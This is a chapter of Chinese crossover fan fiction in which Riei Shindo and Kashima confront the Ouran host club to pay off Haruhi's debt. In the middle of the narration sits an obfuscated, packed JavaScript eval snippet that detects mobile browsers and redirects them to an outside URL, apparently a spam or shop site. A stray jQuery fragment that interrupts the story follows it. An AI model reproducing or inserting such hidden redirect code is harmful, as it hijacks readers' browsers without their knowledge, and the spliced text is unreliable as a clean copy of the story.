进藤理枝站在了樱兰高校的校门口,看着眼前欧式古典风的建筑,以及气势恢宏的学园大门,她没有欣赏这所知名贵族学校的心情,只有想要对春绯的担心。
在与春绯的聊天之中,她不仅得到了春绯欠下八百万日元巨债的消息,还在没过多久后,听到春绯说自己现在已经从打杂的晋升男公关的噩耗。
天杀的樱兰,天杀的男公关部,你到底对我们春绯做了什么!
得知这个消息,原本在春绯的劝告下,打算让她凭借自己努力解决这件事情的进藤理枝彻底坐不住了,在周五放学后,她与逃了戏剧部排练的鹿岛一起来到了樱兰。
【求队友,求可以扣篮的队友】理枝,如果有需要我帮助的话一定要说。
【今天要扣一百个球】理枝,我下训之后立刻过去接你们。
黑子与木兔也想参与进来,但进藤理枝觉得完全没有必要,又不是来打架,只是与人辩论的话,有她与鹿岛两个人就足够了。
樱兰高校是一所远近闻名的贵族学校,在这所学校里,有许多企业家或政要官员的孩子,所以学校的安保一直由业内最出色的安保公司负责,而这家安保公司与凤家保持着紧密的业务合作。
所以当进藤理枝与鹿岛在校门口登记时,警卫队队长就已经将两个外校人进入学校,专门为host部而来的消息报告给了凤镜夜。
凤镜夜看了一眼正在接待两位客人的春绯若有所思。
鹿岛游,进藤理枝,这两个名字他并不熟悉,但进藤这个姓氏确实引起了他的一些猜测,不过日本姓进藤的人不在少数,所以他也没将这件事情放在心上。
虽然说host部招待的客人一向只有樱兰的学生,但他们社团声名在外,也常有冰帝或立海大的女生慕名而来,所以他更倾向于这两人是为了一睹host部风采而来,而不是与刚刚成为男公关的春绯有关。
可凤镜夜的这个想法在看到进藤理枝推开门后,春绯下意识站起来的动作后彻底打消。
他推了一下眼镜,看了一眼面无表情的进藤理枝,以及她身后那位刚刚进门,就吸引了在场所有女生注意力,让男公关们产生了危机感的鹿岛,随后深吸一口气。
“好帅气!简直就像是贵气十足的王子,和环殿下不相上下呢!”不知道是哪个角落,一位须王环的常客发出了感叹声。
须王环张大了嘴巴,整个人开始慢慢褪色。
“难道这是男公关部请的外援吗?太好了,其实最近除了新来的藤冈桑之外,其他的成员我已经有些失去兴趣了呢,”大小姐眼冒红心,当鹿岛侧过头对上她的视线时,后者朝她眨了眨眼镜,做了一个标准的wink,大小姐立刻心跳加速:“我一定要得到他的联系方式。”
“踢馆的?”光凑到了自己的兄弟馨身边小声问道,但其实他的声音一点也不小。
“不知道,但是好像和殿下是一个风格的,殿下的常客们都在蠢蠢欲动呢,”馨的眼神中多了几分看好戏的意味。
听到馨的话,须王环感觉有一支无形的箭,刺向了自己,将他扎穿——不行!振作起来须王环!这是你一手创立起来的host部,你不能让别人轻易在你的地盘上作威作福!拿出作为部长兼创始人的气势来!
于是须王环挺直腰板,恢复以往游刃有余的状态,自信地向进藤理枝走来。
虽然这两个人中,最为引人注意的当属鹿岛,但他们看得出来,她们两人中的话事人,毫无疑问是面无表情的进藤理枝。
因为对方是女孩,还是极为漂亮的女孩,须王环没有失去该有的礼仪,他微微躬身轻轻牵起进藤理枝的手,低下身压低声音,试图用自己优雅且具有磁性的声音,恰到好处抬头露出那双漂亮的紫瞳,惊人的混血容貌打动眼前的少女:“美丽的公主,我是host部的部长,请问你想指定我们哪位男公关服务呢?”
就在他的唇即将吻上自己的拇指时,进藤理枝收回了手:“不好意思,我有男朋友了,没有指名任何人的打算,我找你们这里的话事人。”
“诶?”须王环完美的表情出现了一丝裂缝,他激动地往前迈了一步:“我刚刚不是有说,我是host部的部长吗?”
他还扭过头看向自己的部员们:“我刚刚有说吧?”
须王环开始怀疑自己的记忆,直到部员们点头给予他肯定。
“我说的是可以决定人员去留的话事人,”进藤理枝既然决定来樱兰,自然提前就做好了充足的准备,得益于龙马与表哥藏之介的关系,进藤理枝也算是和迹部有些交集,在来之前,她就事先向同为财阀御曹司的迹部打听了有关樱兰男公关部的事情。
所以她很清楚,自己今天要搞定的人是谁——凤镜夜,凤家第三子,一位看起来和继承权毫无关系,但其实背地里正在为拥有话语权而积攒实力,与须王家继承人关系亲近的男公关部副部长。
“各位,今天男公关部的服务要提前结束了,为了补偿大家的损失,下一次我们会免费为在座的各位提供服务,并且为各位赠送男公关部新企划的优惠购买权,”凤镜夜站了出来,首先他做的事情是控场。
虽然给出了不错的补偿,但大家也不缺钱,缺少的是情绪价值,尤其是在场还有一位长相不亚于须王环的鹿岛在,女孩们有些不愿意离开。
“公主殿下,虽然我也很想再与你多相处一段时间,但现在我有很重要的事情要做,可以为我留下你的联系方式吗?我会再联系你的。”
鹿岛轻轻地牵起为首女孩的手,用温柔地可以将人溺死在她那双翠绿色眼睛注视着对方,随后送上了绅士的吻手礼。
做出了和须王环一样贵气十足优雅的吻手礼,鹿岛轻松俘获少女的心,女孩点头如捣蒜,立刻拿出手机与她交换了联系方式并撤退。
“这就是小春的好朋友吗?和小环好像啊!”
“她没被拒绝,”崇不开口则已,一开口就戳了刚刚被拒绝的须王环的心。
“怪不得春绯在和女孩子们交流,讨女孩子们欢心时总是那么游刃有余,原来是学她的。”光与馨确定自己发现了真相。
等到客人们都走得差不多后,进藤理枝在音乐教室正中央的沙发上落座,春绯与鹿岛站在她的身边。
“小春,你不和我们站在一起吗?”抱着兔子玩偶的埴之冢光邦拉了拉春绯的衣角,他希望春绯可以和他们站在一起。
虽然在几天前她还只是一个打杂的,但经历了一系列的事情后,春绯成为一名男公关,并且被所有人知道了她女性的身份,所以在埴之冢光邦的心中,春绯是他们自己人。
春绯摇了摇头,虽然这几天和男公关部的大家相处得还算融洽,但进藤理枝是她的好朋友,她是为了自己的事情来的,所以春绯不能站到理枝的对立面,也不愿意。
鹿岛打量着眼前的每一个人,发出感叹的声音:“这个男公关部挺有意思的呢,居然有这么多风格鲜明不同风味的男公关,诶,回去倒是可以提议堀前辈排一出有关男公关的戏,比如说偏心客人后被疯狂报复最终落寞谢幕的剧情,一定很有看点。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898998|207808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
众人听到鹿岛的话,下意识打了一个冷颤——是在警告他们吗?
进藤理枝看着眼前的凤镜夜,随后从自己的书包里拿出一张支票,放在眼前的欧式大理石茶几上,用修长并拢的无名指与食指将支票推到了凤镜夜的面前。
“这里有八百万日万,我替春绯还完她所有欠款,”进藤理枝语气冰冷,在众人的眼中,她仿佛是强行拆散春绯与男公关部大家的封建大家长。
“诶!那小春就要离开我们了吗!人家不要这种事情发生!”埴之冢光邦的眼睛立刻盈满泪水,他扑进铦之冢崇的怀中,语气中充满了不舍。
光与馨也下意识扑到桌前,去查看那张据说有着八百万日元的支票。
“这上面。”
“的印章。”
光与馨同时看向进藤理枝,在她的眼里,长得一模一样的双胞胎脸贴着脸靠近她,用‘被我发现破绽’了的眼神质问道:“为什么是读卖新闻?”
这是一张由读卖新闻开出的支票。
“因为我的存款都放在的理财产品中,所以这份支票是我哥哥暂时借给我使用的,这很奇怪吗?”进藤理枝面色不变,她本没有义务向他们解释支票的来源,但为了春绯,她可以多一些耐心:“这是我哥哥获得棋圣头衔的奖金,所以上面有赞助棋圣战的读卖新闻印章,里面的钱可以随意取用不受限制。”
光与馨听到了重点——棋圣。
凤镜夜镜片微微反射出锐利的光芒,进藤这个姓氏虽然常见,但姓进藤的棋圣只有一个,那就是连续六年获得棋圣战冠军,现役棋圣头衔拥有者进藤光。
这位在国内与国际上都享誉盛名的指名棋手,在国内主流媒体中有不小的影响力,即使是财阀,也不会轻易得罪一位手握多项荣誉的棋士,更何况是因为一个高中社团,凤镜夜看到了对方的底牌,为眼前的状况感到有些棘手。
“不行!春绯是我们男公关部的一员,我作为部长不同意她退部!”须王环看到对方真的有八百万,立刻变得焦急万分,他看向一旁的凤镜夜:“镜夜,你想想办法!”
凤镜夜抬了抬自己的眼镜,沉着发言:“进藤桑,虽然我很想收下你的八百万,但不好意思,我们与春绯有过约定,她必须完成接待一百名客人的任务,才能还清债务离开男公关部。”
进藤理枝微微挑眉,在与凤镜夜的对视中,她感受得了对方的冷静,但她同样面不改色:“凤君,虽然是春绯闯入你们男公关部打破了花瓶,但你们男公关部也要负起看管不利的责任吧?将一个古董花瓶放在没有展示柜保护的展示架上,这本身就存在风险,现在风险全都交由春绯一人承担,本身就是极为不合理的事情。”
听到进藤理枝的话,凤镜夜心中暗道不好。
“而且门外的牌子上写着第三音乐教室,我是不是可以认为,其实春绯进入的是一间共用教室,而非正式成立注册的社团活动场地?你们将古董放在公共区域,本身就要承担损坏的风险。”
进藤理枝步步逼近,须王环感受到了危机,即使他面不改色强装镇定,但大家都能看到他额头狂流的汗水。
“再说回你那个必须接待满一百名指定客人的要求,我就不讨论它本身是否合理这件事,”进藤理枝露出了自信的笑容:“但你们应该知道,想要让一百个人指名春绯,对我来说并不是难事,对吧小游?”
鹿岛微笑点头:“我认识许多善良可爱的女孩,我相信她们会愿意帮我这个忙的。”
凤镜夜表情逐渐变得凝重,眼前这两人是有备而来的。